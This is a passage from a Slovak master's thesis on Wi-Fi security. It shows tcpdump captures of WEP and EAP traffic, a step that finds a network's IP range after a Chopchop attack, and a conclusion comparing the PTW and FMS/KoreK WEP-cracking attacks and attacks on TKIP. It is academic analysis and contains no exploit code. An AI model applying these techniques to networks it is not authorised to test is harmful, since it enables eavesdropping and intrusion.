0x0000: 0842 d500 004f 6213 2479 004f 6216 ef74 .B...Ob.$y.Ob..t
0x0010: 004f 4e62 6d31 a08e 4c5f 0800 e5a9 888e .ONbm1..L_......
0x0020: a794 1297 6374 68af a4f6 5a98 1c51 b9f4 ....cth...Z..Q..
0x0030: 6217 82f7 a353 65f0 9603 6a63 4acd d72c b....Se...jcJ..,
0x0040: c7e4 fff2 32e2 8f5d 2cf1 9661 a2f1 7017 ....2..],..a..p.
0x0050: 382b 7cb3 397f 8+|.9.
Retry WEP Encrypted 213us DA:00:4f:62:13:24:79 BSSID:00:4f:62:16:ef:74
SA:00:4f:4e:62:6d:31 Data IV:85f4c Pad 0 KeyID 0
0x0000: 084a d500 004f 6213 2479 004f 6216 ef74 .J...Ob.$y.Ob..t
0x0010: 004f 4e62 6d31 a08e 4c5f 0800 e5a9 888e .ONbm1..L_......
0x0020: a794 1297 6374 68af a4f6 5a98 1c51 b9f4 ....cth...Z..Q..
0x0030: 6217 82f7 a353 65f0 9603 6a63 4acd d72c b....Se...jcJ..,
0x0040: c7e4 fff2 32e2 8f5d 2cf1 9661 a2f1 7017 ....2..],..a..p.
0x0050: 382b 7cb3 397f 8+|.9.
320us CF +QoS DA:00:1c:b3:45:45:8c BSSID:00:13:f7:a4:38:9c SA:00:13:f7:a4:38:9c
LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui
Ethernet (0x000000), ethertype EAPOL (0x888e): EAP code=1 id=3 length=95
0x0000: 8802 4001 001c b345 458c 0013 f7a4 389c ..@....EE.....8.
0x0010: 0013 f7a4 389c 0000 0000 aaaa 0300 0000 ....8...........
0x0020: 888e 0103 005f 0200 8a00 1000 0000 0000 ....._..........
0x0030: 0004 cee8 eba7 f1eb cdeb 7e7c ab61 f5d8 ..........~|.a..
0x0040: 30d6 3996 b8ba 58bc e585 1855 6b18 446c 0.9...X....Uk.Dl
Obr. 6.17: Analýza protokolu EAP
Parameter Popis
-vvv Ešte rozšírenejší výpis
-n Adresa sa ponecháva v číselnej podobe
-e Vypíše hlavičku linkovej vrstvy
-t Nevypíše aktuálny čas odchyteného paketu
-XX Vypíše hlavičku a dáta každého paketu spoločne
s hlavičkou linkovej vrstvy v hex a ASCII
-s 0 Zachytí celý paket
-i mon0 Rozhranie mon0
Tab. 6.17: Popis jednotlivých parametrov pre obr. 6.17
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Zistenie rozsahu používaných IP adries
Útočník po úspešnom Chopchop útoku, ktorý bol realizovaný v časti 6.4.15 môže
ľahko zistiť rozsah používaných IP adries v danej sieti viď obr. 6.18.
# tcpdump -vv -s 0 -ne -r replay_dec-1213-194926.cap
reading from file replay_dec-1213-194926.cap, link-type IEEE802_11 (802.11)
20:49:26.644420 44us BSSID:00:50:7f:a6:19:d8 SA:00:16:ce:8a:8e:05 DA:00:50:
7f:a6:19:d8 LLC, dsap
SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet
(0x000000), ethertype IPv4 (0x0800): (tos 0x0, ttl 128, id 43940, offset 0,
flags [DF], proto TCP (6), length 40)
192.168.1.10.2369 > 194.79.54.29.80 : ., cksum 0x8932 (correct), 2047724663:
2047724663(0) ack 169726108 win 16819
Obr. 6.18: Zistenie rozsahu používaných IP adries
Parameter Popis
-vv Vypíše každý paket v ASCII (bez hlavičky linkovej vrstvy).
-s 0 Zachytí celý paket
-n Cieľ paketov, môže byť IP adresa alebo dns
-e Vypíše hlavičku linkovej vrstvy
-r Načíta pakety zo vstupného súboru
Tab. 6.18: Popis jednotlivých parametrov pre obr. 6.18
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7 ZÁVER
V tejto práci sa porovnávali výsledky v súčasnosti dvoch najpoužívanejších úto-
kov voči sietiam zabezpečeným protokolom WEP a to konkrétne útoky PTW a
FMS/KoreK. Z nameraných výsledkov viď tab. 6.5 alebo obr. 6.7 je viac než zrejmé,
že novší PTW útok potrebuje na prelomenie 64bitových a 128bitových kľúčov omnoho
menší počet zachytených rámcov, než staršia modifikovaná verzia FMS/KoreK,
ktorá potrebuje na prelomenie hesla znateľne väčší počet zachytených rámcov. Prí-
kladom môže byť taký 64bitový kľúč „Eriu6ÿ, pri ktorom metóda PTW potrebo-
vala na prelomenie kľúča iba 55152 rámcov, pričom pri rovnakom kľúči metóda
FMS/KoreK potrebovala až 425319 rámcov. Metóda FMS/KoreK je taktiež časovo
náročnejšia ako metóda PTW, obzvlášť pri 128bitových kľúčoch je rozdiel znateľný.
Ďalším cieľom bola analýza jednotlivých útokov voči bezdrôtovým sietiam, ktoré
vyžívajú slabé miesta v návrhoch týchto mechanizmov. Následne sa diskutovali
možné obrany voči týmto útokom.
Do súčasnej doby bol považovaný za kryptograficky slabý iba protokol WEP a
u protokolov ako TKIP a CCMP bola jediná známa slabosť v používaní slabých
alebo slovníkových hesiel. Avšak príchodom nových útokov ako Beck-Tews alebo
jeho rýchlejšou modifikovanou verziou Ohigashi-Morii sa stal zraniteľným i protokol
TKIP. Tieto útoky umožňujú útočníkovi dešifrovať krátke ARP pakety. Pôvodný
útok Beck-Tews bol limitovaný na siete s podporou QoS. Avšak to neplatí pre novší
útok Ohigashi-Morii, ktorý má široké uplatnenie vďaka používanému MITM útoku
a nie je limitovaný iba na siete s podporou QoS. Celková doba pôvodného útoku
Beck-Tews z 12 až 15 minút sa vďaka útoku Ohigashi-Morii znížila až na 1 minútu.
A tak v súčasnosti nie je možné považovať TKIP za úplne bezpečný protokol a to
ani s dostatočne silným heslom. Jediným v súčasnosti skutočne bezpečným riešením
ostáva protokol CCMP. Tento protokol na rozdiel od protokolu TKIP nepodporuje
spätnú kompatibilitu s protokolom WEP, pretože bol vytvorený úplne od základu,
aby splňoval požiadavky bezpečného šifrovania.
Z celkovej analýzy zabezpečenia bezdrôtových sietí viď obr. 6.12, ktorá bola re-
alizovaná v istých lokalitách mesta Brna a Bratislavy viď obr. 6.11 je zrejmé, že
v bežnej domácnosti sa ešte stále používa protokol WEP. Siete zabezpečené pro-
tokolmi TKIP a CCMP sa vyskytujú zhruba v rovnakej miere. V analyzovaných
oblastiach sa nachádzali aj nezabezpečené siete, u ktorých je ťažko posúdiť, či sa
jednalo prevažne o verejné siete alebo aj domáce siete. Avšak nie je vylúčené, že
niektoré z týchto sietí používali miesto šifrovania na linkovej vrstve zabezpečenia na
vyšších vrstvách.
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Z analýzy celkového rozloženia kanálov viď obr. 6.13 je zrejmé, že väčšina sietí
v daných oblastiach používala kanály 1, 2, 6 a 11, čo môže znamenať, že tieto AP po-
užívali prednastavené kanály od výrobcov. Keďže v daných oblastiach sme z analýzy
viď obr. 6.13 zistili, že väčšina týchto AP používala 4 kanály, tak pravdepodobnosť
výskytu rušenia v týchto oblastiach je dosť vysoká. Rušenie neovplyvňuje iba pripo-
jovanie k daným sietiam ale aj prenosovú rýchlosť, keďže susedné kanály sa môžu
prekrývať.
Prostredníctvom sieťového analyzátora Tcpdump sa realizoval odposluch bežnej
prevádzky v sieti. Analyzovali sa bežne používané protokoly, ktoré pokiaľ nepouží-
vajú zabezpečenie na vyšších vrstvách sú zraniteľné voči takémuto odposluchu.
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ZOZNAM SYMBOLOV, VELIČÍN A SKRATIEK
MAC Riadenie prístupu média – Media Control Access
TCP/IP Protokol TCP/IP – Transmission Control Protocol / Internet Protocol
TCP Protokol TCP – Transmission Control Protocol
IEEE Inštitút pre elektrotechnické a elektronické inžinierstvo – Institute of
Electrical and Electronics Engineers
WLAN Miestna bezdrôtová sieť – Wireless Local Area Network
AP Prístupový bod – Access Point
TPC Kontrola vysielacieho výkonu – Transmit Power Control
DFS Výber dynamickej frekvencie – Dynamic Frequency Selection
LAN Miestna sieť – Local Area Network
WEP Súkromie odpovedajúce drôtovým sietiam – Wired Equivalent Privacy
TKIP Protokol s integritou dočasného kľúča – Temporal Key Integrity Protocol
QoS Kvalita služby – Quality of Service
PS Úsporný režim – Power Save
ACK Potvrdenie – Acknowledge
CF Bez boja – Contention Free
RF Rádiová frekvencia – Radio Frequency
BSS Základný súbor služieb – Basic Service Set
IBSS Nezávislý súbor služieb – Idependent Basic Service Set
ESS Rozšírený súbor služieb – Extended Service Set
SSID Identifikátor služby– Service Set Identifier
BSSID Základný identifikátor služby – Basic Service Set Identifier
DS Distribučný systém – Distribution System
NAV Sieťový alokačný vektor – Network Allocation Vector
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PS-Poll Voľba úsporného režimu – Power Save Poll
AID Asociačný identifikátor – Association Identifier
FCS Kontrolný súčet rámca – Frame Check Sequence
CRC Cyklický redundantný súčet – Cyclic Redundancy Check
CSMA Prístupová metóda založená na odposluchu nosnej – Carrier Sense
Multiple Access
CSMA/CD Prístupová metóda založená na odposluchu nosnej s detekciou kolízie
– Carrier Sense Multiple Access with Collision Detection
CSMA/CA Prístupová metóda založená na odposluchu nosnej s vyhýbaním sa
kolízie – Carrier Sense Multiple Access with Collision Avoidance
MSDU Služba doručovania dát – MAC Service Data Unit
PRNG Generátor pseudonáhodných čísel – Pseudorandom Number Generator
PRGA Algoritmus pseudonáhodného generátora – Pseudorandom Generation
Algorithm
ICV Kontrolný súčet integrity – Integrity Check Value
IV Inicializačný vektor – Initialization vector
IDS Systém detekcie prieniku – Intrusion detection system
EAP Rozšíriteľný autentizačný protokol – Extensible Authentication Protocol
NAK Neplatné potvrdenie – Null acknowledgement
SIM Subscriber Identity Module
RSA Asymetrická šifra RSA – Asymetric cipher RSA
MD5 Hašovací algoritmus MD5 – Message-Digest algorithm 5
GTC Token karta – Generic Token Card
LEAP Odľahčený EAP – Lightweight EAP
TLS Bezpečnosť transportnej vrstvy – Transport Layer Security
SSL Vrstva bezpečných soketov – Secure Socket Layer
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TTLS Tunelované TLS – Tunneled TLS
PEAP Chránený EAP – Protected EAP
PAP Autentizačný protokol s heslom – Password Authentication Protocol
CHAP Autentizačný protokol s výzvou – Challenge Handshake Authentication
Protocol
PPP Protokol PPP – Point-to-Point Protocol
DoS Odmietnutie služby – Denial of Service
MIC Michaelova kontrola integrity – Michael Integrity Check
AES Pokročilý šifrovací štandard – Advanced Encryption Standard
CCMP Sčítací režim so sériovou blokovou šifrou – Counter Mode with Cipher
Block Chaining Message Authentication Code Protocol
CBC-MAC Sčítací režim so sériovou blokovou šifrou – Cipher Block Chaining
Message Authentication Code
RSN Robustne zabezpečená sieť – Robust Security Network
PMK Hlavný párový kľúč – Pairwise Master Key
PTK Párový krátkodobý kľúč – Pairwise Transient Key
GMK Hlavný skupinový kľúč – Group Master Key
KCK Kľúč k potvrdzovaciemu kľúču – Key Confirmation Key
KEK Kľúč k šifrovaciemu kľúču – Key Encryption Key
TTAK Zmiešaný TKIP kľúč adresy a kľúča – TKIP-mixed Transmit Address and
Key
MSB Najvýznamnejšie bity – Most Significant Bits
LSB Najmenej významné bity – Least Significant Bits
TK Dočasný kľúč – Temporal Key
TSC Sekvenčné počítadlo TKIP – TKIP Sequence Counter
CFP Doba bez boja o médium – Contention Free Period
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AAD Doplnková autentizácia dát – Additional Authentication Data
CPU Centrálna procesorová jednotka – Central Processing Unit
RAM Pamäť s náhodným prístupom – Random Access Memory
GPU Grafický procesor – Graphical Processing Unit
CUDA Výpočtové zariadenie so zjednotenou architektúrou – Compute Unified
Device Architecture
WPA Wi-Fi chránený prístup – Wi-Fi Protected Access
MITM Človek uprostred – Man in the middle
PGP Dosť dobré súkromie – Pretty Good Privacy
SET Zabezpečná elektronická transakcia – Secure Electronic Transactions
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A OBSAH PRILOŽENÉHO DVD
Pribalené DVD obsahuje nasledujúce adresáre:
• /kismet/conf - konfiguračné súbory programu Kismet
• /kismet/dump - všetky zachytené siete a pakety počas analýz
• /latex/pdf/ - elektronická verzia diplomovej práce v pdf
• /latex/pics/dia - vektorové obrázky vytvorené v aplikácii Dia
• /latex/pics/gnumeric - grafy vytvorené v aplikácii Gnumeric
• /latex/pics/oodraw - vektorové obrázky vytvorené v aplikácii OO Draw
• /latex/text/ - zdrojové kódy diplomovej práce v aplikácii LATEX.
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